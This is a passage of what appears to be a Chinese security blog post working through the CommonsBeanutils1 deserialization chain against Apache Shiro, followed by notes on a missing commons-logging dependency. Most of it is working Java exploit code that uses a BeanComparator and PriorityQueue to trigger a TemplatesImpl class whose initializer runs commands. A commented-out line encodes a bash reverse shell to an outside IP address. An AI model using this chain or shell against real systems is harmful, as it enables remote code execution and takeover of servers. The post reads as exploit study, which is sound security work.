final BeanComparator comparator = new BeanComparator();
PriorityQueue queue = new PriorityQueue(2, comparator);

queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templatesImpl, templatesImpl});

ser(queue);
unser();
}
public static byte[] getTemplates() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass template = pool.makeClass("MyTemplate");
template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
// String block = "Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDUuNTEuMTEvNzc3OSAwPiYx}|{base64,-d}|{bash,-i}\");";
String block = "Runtime.getRuntime().exec(\"calc\");";

template.makeClassInitializer().insertBefore(block);
return template.toBytecode();
}
public static void setFieldValue(Object obj, String field, Object val) throws Exception{
Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true);
dField.set(obj, val);
}
public static void ser(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(filePath));
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
public static void unser() throws IOException, ClassNotFoundException {
ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(filePath)));
in.readObject();
}
}

依赖问题:

以上4个文章的exp都尝试了,还是弹不出计算器,估计是我的环境有问题。详细看了一下报错信息,

image-20231227130710524

引入依赖就解决了。但是这个依赖所有文章都没有提及,可能是我引入shiro的方式不对导致这个没被引入进来?

1
2
3
4
5
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>

但是引入这个日志依赖之后,才测试类上仍然有问题,如下:

image-20231227130908007

此时就怀疑是不是shiro版本的问题,或者引入方式不对,大概率就是这个情况,exp写的估计没问题。

CommonsBeanutils1-Shiro(无CC依赖)

 Comments